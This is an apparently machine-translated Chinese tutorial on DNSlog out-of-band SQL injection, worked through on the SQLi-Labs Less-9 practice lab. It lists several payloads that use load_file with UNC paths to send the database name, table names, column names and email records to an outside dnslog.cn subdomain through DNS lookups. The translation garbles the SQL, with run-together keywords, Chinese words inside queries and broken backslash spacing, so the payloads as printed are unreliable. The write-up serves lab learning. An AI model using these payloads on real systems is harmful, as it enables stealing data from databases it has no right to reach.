DNSlog注射试验。
前面提到的时间盲注虽然应用广泛,但其查询耗时较长;而且盲注需要发送大量请求,容易被WAF拦截。
此时,我们将使用DNSlog injection ——,这是一种可以用更少的访问快速获取信息的注入方法。
(但是,它对服务器有一些额外的要求;这里的DNSlog注入只有在相关权限打开且服务器系统为windows时才能执行。)
(BUUOJ,那个sql-lab是不行的。)
请勿在校园网上进行此测试!
准备工作:
1.DNS:一个可用的本地DNS服务器。
这里用的是http://www.dnslog.cn/。
获取子域后,验证您可以使用:
输入网址:http://test.z2v67d.dnslog.cn/,
证明DNS服务器工作正常。
二、SQL:检查权限字段。
如果是这样,那也行;如果没有,转到相关的ini文件并删除第三个值。
三.复制:
以SQL-Labless-9为例。我们过去常常盲目地用时间来注释这个话题。
payloads:
id=-1 ' andif((selectload _ file(concat(' \ \ ',(selectdatabase())limit 0,1), z2v67d.dnslog.cn\\abc ')),1,0) -
id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(table _ name))from information _ schema . table where table _ schema=database()), z2v67d.dnslog.cn\\abc ')),1,0) -
id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(column _ name))from information _ schema . columns hweretable _ schema=database())和table_name='emails '), z2v67d.dnslog.cn\\abc ')),1,0) -
id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex((email _ id))from email slimit1,1), z2v67d.dnslog.cn\\abc ')),1,0) -
DNS服务器记录:
解码:
第四,心路历程。
意识到之前对DNS一无所知,所以花了很长时间看原理(现在还是有点晕)。
在实现的过程中,有两个主要障碍:
(1)加载文件
你需要给它添加一个绝对路径。例如:选择load _ file(' d :/wamp 64/www/sqli-labs-php7-master/Less-1/result . txt ');
测试时,需要使用UNC网络路径。
格式:\\servername\sharename,其中servername是服务器名称。Sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\ \ servername \ sharename \ directory \ filename。
eg : select load _ file(' \ \ \ \ load file test . z2v 67d . dnslog . cn \ \ ABC ');
双反斜杠用于处理转义。
(2)检查数据库的内容。
(如果查询成功,页面将有几秒钟的刷新延迟;可以用来快速判断查询的成败(是否类似于时间盲)。
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/62066.html